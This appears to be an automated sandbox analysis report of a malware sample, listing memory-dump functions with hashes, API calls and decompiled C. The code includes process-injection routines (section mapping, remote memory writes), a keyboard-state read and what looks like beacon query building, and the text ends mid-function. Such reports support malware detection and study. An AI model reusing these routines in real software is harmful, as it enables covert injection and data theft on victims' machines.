Instruction ID: 4274f01d4ec374c2a10a1e5f74948bf514ff8baeb9132c11876eec393b6bae0d
Opcode Fuzzy Hash: efff15d90688c01bb992f58e57ed5d8284d442e7059bc5e9d576db37d726a1b0
Instruction Fuzzy Hash: 85211DB5D00209AFCB11DFA9C8849EEFBB9EF48354F10492AE546F3210D7349A458BA4

Uniqueness

Uniqueness Score: -1.00%

Function 0235CD06, Relevance: 4.7, APIs: 3, Instructions: 168librarynativeloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6F57775A,?,00000000,00000000), ref: 0235CD2B
NtWow64QueryInformationProcess64.NTDLL(00000000,00000000,?,00000030,00000000,?,00000000,00000000), ref: 0235CD47

Part of subcall function 02350F24: RtlAllocateHeap.NTDLL(00000000,?,02354D76), ref: 02350F30

Part of subcall function 0234C088: GetProcAddress.KERNEL32(6F57775A,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100,00000200,?,00000000,00000000), ref: 0234C0B1
Part of subcall function 0234C088: NtWow64ReadVirtualMemory64.NTDLL(00000000,?,?,?,00000200,00000000,00000000,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100), ref: 0234C0D3

StrRChrA.SHLWAPI(00000018,00000000,0000005C), ref: 0235CEB1

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressProcWow64$AllocateHeapInformationMemory64Process64QueryReadVirtual
String ID:
API String ID: 3547194813-0
Opcode ID: cc521ac0dfe76a23c85f554f105e6ed3b495106a798975da16efefa8e32cc0bc
Instruction ID: c6fb231ffbfea40ef5ce8c840fa82d15a96b9f67805d250142236996a53d97b0
Opcode Fuzzy Hash: cc521ac0dfe76a23c85f554f105e6ed3b495106a798975da16efefa8e32cc0bc
Instruction Fuzzy Hash: AE614A71A0031AABDB14DFA5C880BAEBBB5FF08748F04595AED19E7241D730E950CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 02355AD9, Relevance: 4.6, APIs: 3, Instructions: 56librarynativeloaderCOMMON

Download Yara Rule

APIs

memset.NTDLL ref: 02355AED
GetProcAddress.KERNEL32(6F57775A,?,00001000,00000000), ref: 02355B15
NtWow64QueryInformationProcess64.NTDLL(?,00000000,?,00000030,00000000,?,00001000,00000000), ref: 02355B33

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressInformationProcProcess64QueryWow64memset
String ID:
API String ID: 2968673968-0
Opcode ID: 5b4e408221549d2f0500cf93ec003da1a9210f7e8e0d64686453e1bc81ddab6e
Instruction ID: 2c93a30cd268f21cae2587d5a443123cde6f998d1a7656aa8487214a92b14119
Opcode Fuzzy Hash: 5b4e408221549d2f0500cf93ec003da1a9210f7e8e0d64686453e1bc81ddab6e
Instruction Fuzzy Hash: 161173B1A40218AFEB10DB94DC0DF99B7BDEB44744F498025ED08EB280D770E915CB64

Uniqueness

Uniqueness Score: -1.00%

Function 003D8E4C, Relevance: 4.5, Strings: 3, Instructions: 719COMMON

Download Yara Rule

Strings

r8, xrefs: 003D9264
e8, xrefs: 003D9410
^8, xrefs: 003D90C0

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: ExitFreeLibraryProcess
String ID: ^8$e8$r8
API String ID: 1404682716-1279129389
Opcode ID: b80332672e1a146b65dd94e503f8eb98020093a23228697c2db1647349eec72b
Instruction ID: ff33d0026ea92dffd1894a9735d80eca9015816512164e8059ea085a84a72b7e
Opcode Fuzzy Hash: b80332672e1a146b65dd94e503f8eb98020093a23228697c2db1647349eec72b
Instruction Fuzzy Hash: 9A0200A284E3C1AFD7134B3499B56917FB0AE2722571F04DBC4C1CF6A3E218598AD763

Uniqueness

Uniqueness Score: -1.00%

Function 00471371, Relevance: 3.1, APIs: 2, Instructions: 70
nativeCOMMON

Download Yara Rule

C-Code - Quality: 72%

			E00471371(intOrPtr* __eax, void** _a4) {
				int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				int _v40;
				int _v44;
				void* _v48;
				void* __esi;
				long _t34;
				void* _t39;
				void* _t47;
				intOrPtr* _t48;

				_t48 = __eax;
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_v24 =  *((intOrPtr*)(__eax + 4));
				_v16 = 0;
				_v12 = 0;
				_v48 = 0x18;
				_v44 = 0;
				_v36 = 0x40;
				_v40 = 0;
				_v32 = 0;
				_v28 = 0;
				_t34 = NtCreateSection( &_v16, 0xf001f,  &_v48,  &_v24,  *(__eax + 8), 0x8000000, 0);
				if(_t34 < 0) {
					_t47 =  *((intOrPtr*)(_t48 + 0x18))(_t34);
				} else {
					 *_t48 = _v16;
					_t39 = E004772D8(_t48,  &_v12); // executed
					_t47 = _t39;
					if(_t47 != 0) {
						 *((intOrPtr*)(_t48 + 0x1c))(_v16);
					} else {
						memset(_v12, 0, _v24);
						 *_a4 = _v12;
					}
				}
				return _t47;
			}

0x0047137a
0x00471381
0x00471382
0x00471383
0x00471384
0x00471385
0x00471396
0x0047139a
0x004713ae
0x004713b1
0x004713b4
0x004713bb
0x004713be
0x004713c5
0x004713c8
0x004713cb
0x004713ce
0x004713d3
0x0047140e
0x004713d5
0x004713d8
0x004713de
0x004713e3
0x004713e7
0x00471405
0x004713e9
0x004713f0
0x004713fe
0x004713fe
0x004713e7
0x00471416

APIs

NtCreateSection.NTDLL(?,000F001F,?,00000001,?,08000000,00000000,766F1222,00000000,00000000,0047841B), ref: 004713CE

Part of subcall function 004772D8: NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,004713E3,00000002,00000000,?,?,00000000,?,?,004713E3,00000000), ref: 00477305

memset.NTDLL ref: 004713F0

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: Section$CreateViewmemset
String ID:
API String ID: 2533685722-0
Opcode ID: 2089448da95e2ddc94bc2bae6c3f78bc716909b85b54e272218cbb383c459deb
Instruction ID: a23372b5d40e7e87d9aedabac11603811936c066c29a2daec86789f7416ffb89
Opcode Fuzzy Hash: 2089448da95e2ddc94bc2bae6c3f78bc716909b85b54e272218cbb383c459deb
Instruction Fuzzy Hash: 11211DB2D00209AFCB11DFA9C8849EEFBB9EF48354F10886AE515F3211D735AA458B64

Uniqueness

Uniqueness Score: -1.00%

Function 0234C088, Relevance: 3.0, APIs: 2, Instructions: 35librarynativeloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32(6F57775A,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100,00000200,?,00000000,00000000), ref: 0234C0B1
NtWow64ReadVirtualMemory64.NTDLL(00000000,?,?,?,00000200,00000000,00000000,00000000,?,?,?,0235CD88,00000000,00000000,00000028,00000100), ref: 0234C0D3

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: AddressMemory64ProcReadVirtualWow64
String ID:
API String ID: 752694512-0
Opcode ID: 978d78c0e62b1b558c2125945de58a29ad7f181508fff650ba6f98de4f058c19
Instruction ID: b6b215e513deff46f01930f38548522321744fb3f8aceefea4cc7af7e5935aab
Opcode Fuzzy Hash: 978d78c0e62b1b558c2125945de58a29ad7f181508fff650ba6f98de4f058c19
Instruction Fuzzy Hash: CEF012B1540105FFCB128F95DC48C9AFBFEEB88354B54885AF554C3120D771E9A1DB50

Uniqueness

Uniqueness Score: -1.00%

Function 003C9950, Relevance: 1.6, APIs: 1, Instructions: 129
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E003C9950(intOrPtr* __eax, signed int* __edx) {
				signed int _v12;
				short _v14;
				char _v16;
				signed int _v20;
				intOrPtr* _v24;
				char _v280;
				signed int _t39;
				signed int _t40;
				signed int _t46;
				intOrPtr* _t47;
				signed int _t50;
				signed int _t53;
				intOrPtr _t55;
				intOrPtr _t56;
				signed int _t67;
				signed int _t68;
				void* _t73;
				signed int* _t79;
				intOrPtr _t90;
				intOrPtr* _t96;

				_t79 = __edx;
				_t96 = __eax;
				if(( *(__eax + 0x1c) & 0x00000010) == 0) {
					L4:
					_t39 =  *_t79;
					if(_t39 < 0x100 || _t39 > 0x108) {
						_t40 =  *_t79;
						__eflags = _t40 - 0x200;
						if(_t40 < 0x200) {
							L30:
							__eflags = _t40 - 0xb00b;
							if(_t40 == 0xb00b) {
								E003C8270(_t96, _t79[1], _t40, _t79[2]);
							}
							L32:
							return  *((intOrPtr*)( *_t96 - 0x14))();
						}
						__eflags = _t40 - 0x20a;
						if(_t40 > 0x20a) {
							goto L30;
						}
						__eflags =  *(_t96 + 0x50) & 0x00000080;
						if(( *(_t96 + 0x50) & 0x00000080) != 0) {
							L16:
							_t46 =  *_t79 - 0x200;
							__eflags = _t46;
							if(__eflags == 0) {
								L21:
								_t47 =  *0x3da0b4; // 0x3dbb1c
								E003BAAA4( *_t47, _t79, _t96, __eflags);
								goto L32;
							}
							_t50 = _t46 - 1;
							__eflags = _t50;
							if(_t50 == 0) {
								L22:
								__eflags =  *((char*)(_t96 + 0x5d)) - 1;
								if(__eflags != 0) {
									 *(_t96 + 0x54) =  *(_t96 + 0x54) | 0x00000001;
									goto L32;
								}
								return E003832F8(_t96, __eflags);
							}
							_t53 = _t50 - 1;
							__eflags = _t53;
							if(_t53 == 0) {
								 *(_t96 + 0x54) =  *(_t96 + 0x54) & 0x0000fffe;
								goto L32;
							}
							__eflags = _t53 == 1;
							if(_t53 == 1) {
								goto L22;
							}
							_t55 =  *0x3dbb58; // 0x2141448
							__eflags =  *((char*)(_t55 + 0x20));
							if( *((char*)(_t55 + 0x20)) == 0) {
								goto L32;
							} else {
								_t56 =  *0x3dbb58; // 0x2141448
								__eflags =  *(_t56 + 0x1c);
								if( *(_t56 + 0x1c) == 0) {
									goto L32;
								}
								_t90 =  *0x3dbb58; // 0x2141448
								_t25 = _t90 + 0x1c; // 0x0
								__eflags =  *_t79 -  *_t25;
								if( *_t79 !=  *_t25) {
									goto L32;
								}
								GetKeyboardState( &_v280);
								_v20 =  *_t79;
								_v16 = E003B13C0( &_v280);
								_v14 = _t79[1];
								_v12 = _t79[2];
								return E003832F8(_t96, __eflags);
							}
							goto L21;
						}
						_t67 = _t40 - 0x203;
						__eflags = _t67;
						if(_t67 == 0) {
							L15:
							 *_t79 =  *_t79 - 2;
							__eflags =  *_t79;
							goto L16;
						}
						_t68 = _t67 - 3;
						__eflags = _t68;
						if(_t68 == 0) {
							goto L15;
						}
						__eflags = _t68 != 3;
						if(_t68 != 3) {
							goto L16;
						}
						goto L15;
					}
					_v24 = E003B147C(_t96);
					if(_v24 == 0) {
						goto L32;
					}
					_t73 =  *((intOrPtr*)( *_v24 + 0xf0))();
					if(_t73 == 0) {
						goto L32;
					}
				} else {
					_v24 = E003B147C(__eax);
					if(_v24 == 0 ||  *((intOrPtr*)(_v24 + 0x250)) == 0) {
						goto L4;
					} else {
						_t73 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v24 + 0x250)))) + 0x24))();
						if(_t73 == 0) {
							goto L4;
						}
					}
				}
				return _t73;
			}

0x003c995c
0x003c995e
0x003c9964
0x003c999c
0x003c999c
0x003c99a3
0x003c99dc
0x003c99de
0x003c99e3
0x003c9abb
0x003c9abb
0x003c9ac0
0x003c9acd
0x003c9acd
0x003c9ad2
0x00000000
0x003c9ad8
0x003c99e9
0x003c99ee
0x00000000
0x00000000
0x003c99f4
0x003c99f8
0x003c9a0e
0x003c9a10
0x003c9a10
0x003c9a15
0x003c9a22
0x003c9a24
0x003c9a2d
0x00000000
0x003c9a2d
0x003c9a17
0x003c9a17
0x003c9a18
0x003c9a37
0x003c9a37
0x003c9a3b
0x003c9a4d
0x00000000
0x003c9a4d
0x00000000
0x003c9a43
0x003c9a1a
0x003c9a1a
0x003c9a1b
0x003c9a54
0x00000000
0x003c9a54
0x003c9a1d
0x003c9a1e
0x00000000
0x00000000
0x003c9a5b
0x003c9a60
0x003c9a64
0x00000000
0x003c9a66
0x003c9a66
0x003c9a6b
0x003c9a6f
0x00000000
0x00000000
0x003c9a73
0x003c9a79
0x003c9a79
0x003c9a7c
0x00000000
0x00000000
0x003c9a85
0x003c9a8c
0x003c9a9a
0x003c9aa1
0x003c9aa8
0x00000000
0x003c9ab4
0x00000000
0x003c9a64
0x003c99fa
0x003c99fa
0x003c99ff
0x003c9a0b
0x003c9a0b
0x003c9a0b
0x00000000
0x003c9a0b
0x003c9a01
0x003c9a01
0x003c9a04
0x00000000
0x00000000
0x003c9a06
0x003c9a09
0x00000000
0x00000000
0x00000000
0x003c9a09
0x003c99b3
0x003c99ba
0x00000000
0x00000000
0x003c99c9
0x003c99d1
0x00000000
0x003c99d7
0x003c9966
0x003c996d
0x003c9974
0x00000000
0x003c9982
0x003c9991
0x003c9996
0x00000000
0x00000000
0x003c9996
0x003c9974
0x003c9ae1

APIs

GetKeyboardState.USER32(?), ref: 003C9A85

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: KeyboardState
String ID:
API String ID: 1724228437-0
Opcode ID: c0f87674dc8db8c033da9f1f9331839ceafa8a3e914de48738b7f4b259d429bd
Instruction ID: 15eef8f440fe504a0abeb95d8fcfc9628079e13e1f299feaf4c8b0f5e54b3d9c
Opcode Fuzzy Hash: c0f87674dc8db8c033da9f1f9331839ceafa8a3e914de48738b7f4b259d429bd
Instruction Fuzzy Hash: EF41AD396006498BCB22DB28C58CFAAB7E4FB09300F1745AFE845DB695D770DD85CB92

Uniqueness

Uniqueness Score: -1.00%

Function 00396AE4, Relevance: 1.6, APIs: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E00396AE4(void* __eax, struct HINSTANCE__* __edx) {
				intOrPtr _v8;
				void* __ebx;
				void* __ecx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t10;
				intOrPtr _t15;
				struct HINSTANCE__* _t20;
				intOrPtr* _t22;
				intOrPtr _t30;
				void* _t32;
				intOrPtr* _t35;
				intOrPtr _t38;
				intOrPtr _t40;

				_t38 = _t40;
				_push(_t22);
				_t35 = _t22;
				_t20 = __edx;
				_t32 = __eax;
				if(__edx == 0) {
					_t20 =  *0x3db668; // 0x380000
				}
				_t10 = FindResourceA(_t20, E0038437C(_t32), 0xa) & 0xffffff00 | _t9 != 0x00000000;
				_t43 = _t10;
				if(_t10 == 0) {
					return _t10;
				} else {
					_v8 = E00399404(_t20, 1, 0xa, _t32);
					_push(_t38);
					_push(0x396b58);
					_push( *[fs:eax]);
					 *[fs:eax] = _t40;
					_t15 = E00398F04(_v8, _t20,  *_t35, _t32, _t35, _t43); // executed
					 *_t35 = _t15;
					_pop(_t30);
					 *[fs:eax] = _t30;
					_push(E00396B5F);
					return E003830FC(_v8);
				}
			}

0x00396ae5
0x00396ae7
0x00396aeb
0x00396aed
0x00396aef
0x00396af3
0x00396af5
0x00396af5
0x00396b0d
0x00396b10
0x00396b12
0x00396b66
0x00396b14
0x00396b25
0x00396b2a
0x00396b2b
0x00396b30
0x00396b33
0x00396b3b
0x00396b40
0x00396b44
0x00396b47
0x00396b4a
0x00396b57
0x00396b57

APIs

FindResourceA.KERNEL32 ref: 00396B06

Memory Dump Source

Source File: 00000004.00000002.2415833035.0000000000381000.00000020.00020000.sdmp, Offset: 00380000, based on PE: true

Associated: 00000004.00000002.2415819778.0000000000380000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2415887998.00000000003D9000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2415915305.00000000003DD000.00000008.00020000.sdmp Download File
Associated: 00000004.00000002.2415927372.00000000003DF000.00000002.00020000.sdmp Download File

Similarity

API ID: FindResource
String ID:
API String ID: 1635176832-0
Opcode ID: 76fdc4b2ad920b15d2905f3fab448e4a5852cd3d8c95585d9af266ff673e120c
Instruction ID: 1faed8a526172a2b237f370ba2f6dd6fdc5eac8a7ebdee5b4a4c87809a9141be
Opcode Fuzzy Hash: 76fdc4b2ad920b15d2905f3fab448e4a5852cd3d8c95585d9af266ff673e120c
Instruction Fuzzy Hash: 1F01D671305300AFDB13EF6AEC93E6AB7EDDB89710B12407AF504CB252EA729C019720

Uniqueness

Uniqueness Score: -1.00%

Function 0047A12D, Relevance: 1.6, APIs: 1, Instructions: 50
comCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E0047A12D(intOrPtr _a4, void* _a8, intOrPtr* _a12) {
				char _v12;
				void* _v18;
				char _v20;
				intOrPtr _t18;
				void* _t20;
				intOrPtr* _t22;
				intOrPtr* _t24;
				void* _t32;

				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosw");
				_v12 = _a8;
				_t18 =  *0x47d27c; // 0x374a7d0
				_t5 = _t18 + 0x47e0fc; // 0x3bc88cc
				_t6 = _t18 + 0x47e0ec; // 0x674b6698
				_v20 = 3;
				_t20 =  *0x47d15c(_t6, 0, 1, _t5,  &_a8); // executed
				_t32 = _t20;
				if(_t32 >= 0) {
					_t22 = _a8;
					_t32 =  *((intOrPtr*)( *_t22 + 0x20))(_t22, _a4, 0,  &_v20);
					_t24 = _a8;
					if(_t32 >= 0) {
						 *_a12 = _t24;
					} else {
						 *((intOrPtr*)( *_t24 + 8))(_t24);
					}
				}
				return _t32;
			}

0x0047a13a
0x0047a13b
0x0047a13c
0x0047a13d
0x0047a142
0x0047a149
0x0047a14e
0x0047a159
0x0047a160
0x0047a166
0x0047a16c
0x0047a170
0x0047a172
0x0047a184
0x0047a188
0x0047a18b
0x0047a198
0x0047a18d
0x0047a190
0x0047a190
0x0047a18b
0x0047a19f

APIs

CoCreateInstance.OLE32(674B6698,00000000,00000001,03BC88CC,?), ref: 0047A166

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: CreateInstance
String ID:
API String ID: 542301482-0
Opcode ID: aa14f91017e361ac970c063bbee843e9a4912f235273f1192c3de91449f18d34
Instruction ID: 75253d90ebf80f4f7bbd8d39409c5a170790fc77347377bd39c68542366b293f
Opcode Fuzzy Hash: aa14f91017e361ac970c063bbee843e9a4912f235273f1192c3de91449f18d34
Instruction Fuzzy Hash: 48018071900219BFDB01CFA8C844EDAB7B8EF48710F0085A9F909DB250D770E916CBA5

Uniqueness

Uniqueness Score: -1.00%

Function 02361B30, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL ref: 02361B7B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: eff2e44460589de79733f58d4412fc3296cf1b58d07f8864b318a55dce211f0d
Instruction ID: 700ca4d9681aec0d19d06026630285ee317eecf9ac39c65603506b6b43aeed68
Opcode Fuzzy Hash: eff2e44460589de79733f58d4412fc3296cf1b58d07f8864b318a55dce211f0d
Instruction Fuzzy Hash: E9F0B43112860A9BC714EB1CCC56D25B3ADFF95310F044668ED69872E4E671B964CBC2

Uniqueness

Uniqueness Score: -1.00%

Function 004772D8, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E004772D8(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x004772ea
0x004772f0
0x004772fe
0x00477305
0x0047730a
0x00477310
0x00000000
0x00477311
0x00000000

APIs

NtMapViewOfSection.NTDLL(00000000,000000FF,?,00000000,00000000,?,004713E3,00000002,00000000,?,?,00000000,?,?,004713E3,00000000), ref: 00477305

Memory Dump Source

Source File: 00000004.00000002.2416059083.0000000000471000.00000020.00000001.sdmp, Offset: 00470000, based on PE: true

Associated: 00000004.00000002.2416051462.0000000000470000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416070914.000000000047C000.00000002.00000001.sdmp Download File
Associated: 00000004.00000002.2416079374.000000000047D000.00000004.00000001.sdmp Download File
Associated: 00000004.00000002.2416087779.000000000047F000.00000002.00000001.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: d91715f28c7d37f10605cdc6ff44a444bcb3e92eadafb47cab2a4e8149c77c07
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 1BF012B590460CBFEB119FA5CC85C9FBBBDEB44394B108D7AB552E1090D6709E099A60

Uniqueness

Uniqueness Score: -1.00%

Function 0043183B, Relevance: 1.5, APIs: 1, Instructions: 34
nativeCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0043183B(void** __esi, PVOID* _a4) {
				long _v8;
				void* _v12;
				void* _v16;
				long _t13;

				_v16 = 0;
				asm("stosd");
				_v8 = 0;
				_t13 = NtMapViewOfSection( *__esi, 0xffffffff, _a4, 0, 0,  &_v16,  &_v8, 2, 0, __esi[2]);
				if(_t13 < 0) {
					_push(_t13);
					return __esi[6]();
				}
				return 0;
			}

0x0043184d
0x00431853
0x00431861
0x00431868
0x0043186d
0x00431873
0x00000000
0x00431874
0x00000000

APIs

NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,?,?,00000002,00000000,?,?,00000000), ref: 00431868

Memory Dump Source

Source File: 00000004.00000002.2416019443.0000000000430000.00000040.00000001.sdmp, Offset: 00430000, based on PE: true

Associated: 00000004.00000002.2416029859.0000000000435000.00000040.00000001.sdmp Download File

Similarity

API ID: SectionView
String ID:
API String ID: 1323581903-0
Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction ID: 756a53c46daa67cc51365c57b298dd45bc719f9de52b53cf11d298739c182476
Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
Instruction Fuzzy Hash: 86F012B590020CBFEB119FA5CC85CAFBBBDEB48394F10493AB552E10A0D6309E089A65

Uniqueness

Uniqueness Score: -1.00%

Function 0235B534, Relevance: 1.5, APIs: 1, Instructions: 33nativeCOMMON

Download Yara Rule

APIs

NtQueryInformationProcess.NTDLL(00000000,?,00000018,00000000,02367380), ref: 0235B54B

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: InformationProcessQuery
String ID:
API String ID: 1778838933-0
Opcode ID: 8436731d27e4367f42f7fc9476e83c4b3801eebef7e31f796034df2517389466
Instruction ID: 663e083f103d43251162792d69588721a70c3918cd67ba98f420d737ab77e343
Opcode Fuzzy Hash: 8436731d27e4367f42f7fc9476e83c4b3801eebef7e31f796034df2517389466
Instruction Fuzzy Hash: 83F05E71B00129EB8724CE59D884D9BFBADEB01798B008955FD09DB265D330E945CBF0

Uniqueness

Uniqueness Score: -1.00%

Function 02349E4D, Relevance: 1.3, Strings: 1, Instructions: 40COMMON

Download Yara Rule

Strings

NTDLL.DLL, xrefs: 02349E71, 02349E8E, 02349EB1, 02349ED4

Memory Dump Source

Source File: 00000004.00000002.2416709074.0000000002340000.00000040.00000001.sdmp, Offset: 02340000, based on PE: false

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID: NTDLL.DLL
API String ID: 2087232378-1613819793
Opcode ID: 76984ede32f66b3b346d94a9eb7340f58487a72987272e1a293c9a8df209548f
Instruction ID: ca03291c654f4555a02a6d4568af14a991c36cd366b0e830fa272fbf4334ecb5
Opcode Fuzzy Hash: 76984ede32f66b3b346d94a9eb7340f58487a72987272e1a293c9a8df209548f
Instruction Fuzzy Hash: 0511D7F08A11159FD714DF15E88CD52BBEEEB0936CB85D853E80887268D731A966CF60

Uniqueness

Uniqueness Score: -1.00%

Function 00471D67, Relevance: 33.2, APIs: 22, Instructions: 245
memorystringCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E00471D67(long __eax, void* __ecx, void* __edx, intOrPtr _a4, char** _a8, int* _a12, void* _a16) {
				void* _v8;
				signed int _v12;
				void* _v16;
				void* _v20;
				void* _v24;
				void* _v28;
				void* __ebx;
				void* __edi;
				long _t59;
				intOrPtr _t60;
				intOrPtr _t61;
				intOrPtr _t62;
				intOrPtr _t63;
				intOrPtr _t64;
				void* _t67;
				intOrPtr _t68;
				int _t71;
				void* _t72;
				void* _t73;
				void* _t75;
				void* _t78;
				intOrPtr _t82;
				intOrPtr _t86;
				intOrPtr* _t88;
				void* _t94;
				intOrPtr _t101;
				signed int _t105;
				char** _t107;
				int _t110;
				signed int _t112;
				intOrPtr* _t113;
				intOrPtr* _t115;
				intOrPtr* _t117;
				intOrPtr* _t119;
				intOrPtr _t122;
				intOrPtr _t127;
				int _t131;
				CHAR* _t133;
				intOrPtr _t134;
				void* _t135;
				void* _t144;
				int _t145;
				void* _t146;
				intOrPtr _t147;
				void* _t149;
				long _t153;
				intOrPtr* _t154;
				intOrPtr* _t155;
				intOrPtr* _t158;
				void* _t159;
				void* _t161;

				_t144 = __edx;
				_t135 = __ecx;
				_t59 = __eax;
				_v12 = 8;
				if(__eax == 0) {
					_t59 = GetTickCount();
				}
				_t60 =  *0x47d018; // 0xa3247f38
				asm("bswap eax");
				_t61 =  *0x47d014; // 0xd5ce6b3c
				_t133 = _a16;
				asm("bswap eax");
				_t62 =  *0x47d010; // 0xeb65f451
				asm("bswap eax");
				_t63 =  *0x47d00c; // 0x35163570
				asm("bswap eax");
				_t64 =  *0x47d27c; // 0x374a7d0
				_t3 = _t64 + 0x47e633; // 0x74666f73
				_t145 = wsprintfA(_t133, _t3, 3, 0x3d141, _t63, _t62, _t61, _t60,  *0x47d02c,  *0x47d004, _t59);
				_t67 = E00474077();
				_t68 =  *0x47d27c; // 0x374a7d0
				_t4 = _t68 + 0x47e673; // 0x74707526
				_t71 = wsprintfA(_t145 + _t133, _t4, _t67);
				_t161 = _t159 + 0x38;
				_t146 = _t145 + _t71; // executed
				_t72 = E00473CCD(_t135); // executed
				_t134 = __imp__;
				_v8 = _t72;
				if(_t72 != 0) {
					_t127 =  *0x47d27c; // 0x374a7d0
					_t7 = _t127 + 0x47e8eb; // 0x736e6426
					_t131 = wsprintfA(_a16 + _t146, _t7, _t72);
					_t161 = _t161 + 0xc;
					_t146 = _t146 + _t131;
					HeapFree( *0x47d238, 0, _v8);
				}
				_t73 = E00473F90();
				_v8 = _t73;
				if(_t73 != 0) {
					_t122 =  *0x47d27c; // 0x374a7d0
					_t11 = _t122 + 0x47e8f3; // 0x6f687726
					wsprintfA(_t146 + _a16, _t11, _t73);
					_t161 = _t161 + 0xc;
					HeapFree( *0x47d238, 0, _v8);
				}
				_t147 =  *0x47d324; // 0x3bc97d8
				_t75 = E00471203(0x47d00a, _t147 + 4);
				_t153 = 0;
				_v20 = _t75;
				if(_t75 == 0) {
					L26:
					HeapFree( *0x47d238, _t153, _a16); // executed
					return _v12;
				} else {
					_t78 = RtlAllocateHeap( *0x47d238, 0, 0x800); // executed
					_v8 = _t78;
					if(_t78 == 0) {
						L25:
						HeapFree( *0x47d238, _t153, _v20);
						goto L26;
					}
					E004786C4(GetTickCount());
					_t82 =  *0x47d324; // 0x3bc97d8
					__imp__(_t82 + 0x40);
					asm("lock xadd [eax], ecx");
					_t86 =  *0x47d324; // 0x3bc97d8
					__imp__(_t86 + 0x40);
					_t88 =  *0x47d324; // 0x3bc97d8
					_t149 = E00476AB0(1, _t144, _a16,  *_t88);
					_v28 = _t149;
					asm("lock xadd [eax], ecx");
					if(_t149 == 0) {
						L24:
						HeapFree( *0x47d238, _t153, _v8); // executed
						goto L25;
